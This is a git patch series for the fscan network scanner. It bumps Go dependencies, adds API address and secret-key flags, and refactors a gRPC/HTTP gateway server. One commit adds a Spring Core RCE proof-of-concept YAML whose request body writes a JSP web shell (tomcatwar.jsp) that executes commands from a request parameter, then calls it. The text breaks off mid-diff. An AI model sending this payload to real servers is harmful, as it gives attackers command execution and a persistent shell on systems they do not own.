h1:+i4rkvCraA+tG6AzwloGaCtkx53Fa+L+V8e9a7YvhT8= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= @@ -382,8 +396,9 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= -golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= +golang.org/x/crypto v0.33.0 h1:IOBPskki6Lysi0lo9qQvbxiQ+FvsCC/YWOecCHAixus= +golang.org/x/crypto v0.33.0/go.mod h1:bVdXmD7IV/4GdElGPozy6U7lWdRXA4qyRVGJV57uQ5M= golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -401,13 +416,11 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= @@ -444,8 +457,9 @@ golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= -golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= +golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8= +golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -460,8 +474,9 @@ golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w= +golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -493,15 +508,15 @@ golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= +golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -511,8 +526,9 @@ golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= -golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= +golang.org/x/term v0.29.0 h1:L6pJp37ocefwRRtYPKSWOWzOtWSxVajvz2ldH/xi3iU= +golang.org/x/term v0.29.0/go.mod h1:6bl4lRlvVuDgSf3179VpIxBF0o10JUpXWOnI7nErv7s= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= @@ -524,8 +540,9 @@ golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= +golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM= +golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -546,7 +563,6 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= @@ -580,6 +596,8 @@ google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+ google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.70.0 h1:pWFv03aZoHzlRKHWicjsZytKAiYCtNS0dHbXnIdq7jQ= +google.golang.org/grpc v1.70.0/go.mod h1:ofIJqVKDXx/JiXrwr2IG4/zwdH9txy3IlF40RmcJSQw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -588,12 +606,13 @@ google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzi google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= -google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM= +google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= From 16e40fe7ed63b74bbdd62a04b0fc1894b13b54c3 Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Mon, 14 Apr 2025 14:32:51 +0800 Subject: [PATCH 02/12] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0API=E5=9C=B0?= =?UTF-8?q?=E5=9D=80=E5=92=8C=E5=8A=A0=E5=AF=86=E5=AF=86=E9=92=A5=E9=85=8D?= =?UTF-8?q?=E7=BD=AE=EF=BC=8C=E9=87=8D=E6=9E=84API=E6=9C=8D=E5=8A=A1?= =?UTF-8?q?=E5=90=AF=E5=8A=A8=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 2 ++ Common/Flag.go | 2 ++ RPC/server.go | 75 +++++++++++++++++++++++++++++--------------- RPC/service/fscan.go | 5 ++- main.go | 15 +++++++-- 5 files changed, 68 insertions(+), 31 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index 921d95d..c9491b2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -957,6 +957,8 @@ var ( ShowScanPlan bool // 是否显示扫描计划详情 SlowLogOutput bool // 是否启用慢速日志输出 Language string // 界面语言设置 + ApiAddr string // API地址 + SecretKey string // 加密密钥 ) var ( diff --git a/Common/Flag.go b/Common/Flag.go index 66af14a..f82abac 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -152,6 +152,8 @@ func Flag(Info *HostInfo) { // ═════════════════════════════════════════════════ flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode")) flag.StringVar(&Language, "lang", "zh", GetText("flag_language")) + flag.StringVar(&ApiAddr, "api", "", GetText("flag_api")) + flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key")) // 解析命令行参数 parseCommandLineArgs() diff --git a/RPC/server.go b/RPC/server.go index 7fefb04..3555724 100644 --- a/RPC/server.go +++ b/RPC/server.go @@ -2,60 +2,67 @@ package rpc import ( "context" - "log" "net" "net/http" "github.com/grpc-ecosystem/grpc-gateway/v2/runtime" + "github.com/shadow1ng/fscan/Common" pb "github.com/shadow1ng/fscan/RPC/lib" "github.com/shadow1ng/fscan/RPC/service" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) -// 暴露的启动函数(可供外部调用) -func StartHTTPServer() { - go runGRPCServer() // 启动 gRPC 服务 - if err := runHTTPGateway(); err != nil { - log.Fatalf("HTTP 启动失败: %v", err) +// 启动 gRPC + HTTP Gateway 服务(仅当设置了 API 地址时) +// 如果未设置 API 地址,直接返回 nil +// 如果 HTTP 启动失败,则返回 error +func StartApiServer() error { + if Common.ApiAddr == "" { + Common.LogDebug("未设置 API 地址,跳过 API 服务启动") + return nil } + + grpcAddr := ":50051" + httpAddr := validateHTTPAddr(Common.ApiAddr, ":8088") + + go runGRPCServer(grpcAddr) + + if err := runHTTPGateway(httpAddr, grpcAddr); err != nil { + Common.LogError("HTTP 启动失败: " + err.Error()) + return err + } + + return nil } // 启动 gRPC 服务 -func runGRPCServer() { - lis, err := net.Listen("tcp", ":50051") +func runGRPCServer(addr string) { + lis, err := net.Listen("tcp", addr) if err != nil { - log.Fatalf("监听失败: %v", err) + Common.LogError("监听失败: " + err.Error()) + return } s := grpc.NewServer() pb.RegisterFscanServiceServer(s, &service.FscanService{}) - log.Println("✅ gRPC 服务已启动,端口 50051") + Common.LogSuccess("✅ gRPC 服务已启动,地址: " + addr) if err := s.Serve(lis); err != nil { - log.Fatalf("gRPC 启动失败: %v", err) + Common.LogError("gRPC 启动失败: " + err.Error()) } } -// 启动 HTTP Gateway 服务 -func runHTTPGateway() error { +// 启动 HTTP Gateway +func runHTTPGateway(httpAddr, grpcAddr string) error { ctx := context.Background() mux := runtime.NewServeMux() opts := []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())} - err := pb.RegisterFscanServiceHandlerFromEndpoint(ctx, mux, "localhost:50051", opts) + err := pb.RegisterFscanServiceHandlerFromEndpoint(ctx, mux, grpcAddr, opts) if err != nil { return err } - // 包裹 mux,加上 CORS 支持 - handler := allowCORS(mux) - - log.Println("✅ HTTP Gateway 已启动,端口 8080") - return http.ListenAndServe(":8080", handler) -} - -// 添加 CORS 支持 -func allowCORS(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + // 添加 CORS 支持 + handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") @@ -64,7 +71,23 @@ func allowCORS(h http.Handler) http.Handler { w.WriteHeader(http.StatusOK) return } - - h.ServeHTTP(w, r) + mux.ServeHTTP(w, r) }) + + Common.LogSuccess("✅ HTTP Gateway 已启动,地址: " + httpAddr) + return http.ListenAndServe(httpAddr, handler) +} + +// 校验监听地址格式,格式非法使用默认 +func validateHTTPAddr(input, fallback string) string { + if input == "" { + Common.LogInfo("未指定 API 地址,使用默认地址: " + fallback) + return fallback + } + _, _, err := net.SplitHostPort(input) + if err != nil { + Common.LogError("无效的 API 地址格式 [" + input + "],使用默认地址: " + fallback) + return fallback + } + return input } diff --git a/RPC/service/fscan.go b/RPC/service/fscan.go index 74e2e33..5d2aa29 100644 --- a/RPC/service/fscan.go +++ b/RPC/service/fscan.go @@ -2,9 +2,9 @@ package service import ( "context" - "log" "time" + "github.com/shadow1ng/fscan/Common" pb "github.com/shadow1ng/fscan/RPC/lib" ) @@ -21,8 +21,7 @@ type FscanService struct { // - StartScanResponse:包含任务 ID 和提示信息。 // - error:执行中出现的错误信息。 func (s *FscanService) StartScan(ctx context.Context, req *pb.StartScanRequest) (*pb.StartScanResponse, error) { - log.Printf("启动扫描: target=%s, port=%s, mode=%s", req.Secret, req.Arg) - + Common.LogDebug("接收到扫描请求,目标: " + req.Arg + ", " + req.Secret) // TODO: 在此处实现实际的扫描逻辑,例如调用扫描器、创建任务、存储任务状态等。 // 可以异步执行扫描逻辑,并生成一个唯一的 taskID 进行标识。 diff --git a/main.go b/main.go index dea1f10..da2d8e2 100644 --- a/main.go +++ b/main.go @@ -2,9 +2,11 @@ package main import ( "fmt" + "os" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Core" - "os" + rpc "github.com/shadow1ng/fscan/RPC" ) func main() { @@ -12,14 +14,23 @@ func main() { var Info Common.HostInfo Common.Flag(&Info) + + // 启动 gRPC + HTTP Gateway 服务 + if err := rpc.StartApiServer(); err != nil { + os.Exit(1) + } + // 解析 CLI 参数 if err := Common.Parse(&Info); err != nil { os.Exit(1) } + // 初始化输出系统,如果失败则直接退出 if err := Common.InitOutput(); err != nil { Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err)) - os.Exit(1) // 关键修改:初始化失败时直接退出 + os.Exit(1) } defer Common.CloseOutput() + + // 执行 CLI 扫描逻辑 Core.Scan(Info) } From a3c5092f9be392f0a4f52c402b030a4baa22968f Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Mon, 14 Apr 2025 14:39:34 +0800 Subject: [PATCH 03/12] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0=E8=AF=AF?= =?UTF-8?q?=E5=88=A0=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/pocs/spring-core-rce.yml | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 WebScan/pocs/spring-core-rce.yml diff --git a/WebScan/pocs/spring-core-rce.yml b/WebScan/pocs/spring-core-rce.yml new file mode 100644 index 0000000..b7ad80d --- /dev/null +++ b/WebScan/pocs/spring-core-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-spring-core-rce +manual: true +transport: http +set: + r1: randomInt(40000, 44800) +rules: + - method: POST + path: / + headers: + suffix: "%>//" + c1: "Runtime" + c2: "<%" + DNT: "1" + Content-Type: "application/x-www-form-urlencoded" + body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /tomcatwar.jsp?data=j&word=echo%20{r1} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1))) +detail: + author: marmot + links: + - https://github.com/Mr-xn/spring-core-rce From 1f0d11d93ef1c24dad2f27e72becb800ba3f5b0f Mon Sep 17 00:00:00 2001 From: tongque <2863528786@qq.com> Date: Mon, 14 Apr 2025 15:37:54 +0800 Subject: [PATCH 04/12] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E8=BF=9C?= =?UTF-8?q?=E7=A8=8B=E5=8F=82=E6=95=B0=E8=A7=A3=E6=9E=90=E5=8A=9F=E8=83=BD?= =?UTF-8?q?=E5=B9=B6=E9=87=8D=E6=9E=84=E6=89=AB=E6=8F=8F=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 125 +++++++++++++++++++++++++++++++++++++------ RPC/service/fscan.go | 10 ++++ 2 files changed, 118 insertions(+), 17 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index f82abac..e92cf81 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -5,10 +5,98 @@ import ( "fmt" "os" "strings" + "sync" "github.com/fatih/color" ) +var flagInitOnce sync.Once + +// defineFlags 用于本地 CLI 注册全局 flag.CommandLine 的 flag +func defineFlags(info *HostInfo) { + flagInitOnce.Do(func() { + defineFlagsForSet(flag.CommandLine, info) + }) +} + +// 通用 flag 注册逻辑,支持 flag.CommandLine 和新建 FlagSet(用于远程) +func defineFlagsForSet(fs *flag.FlagSet, info *HostInfo) { + // 目标配置参数 + fs.StringVar(&info.Host, "h", "", GetText("flag_host")) + fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts")) + fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports")) + fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file")) + fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file")) + + // 扫描控制参数 + fs.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode")) + fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num")) + fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout")) + fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num")) + fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout")) + fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top")) + fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping")) + fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping")) + fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint")) + fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode")) + + // 认证与凭据参数 + fs.StringVar(&Username, "user", "", GetText("flag_username")) + fs.StringVar(&Password, "pwd", "", GetText("flag_password")) + fs.StringVar(&AddUsers, 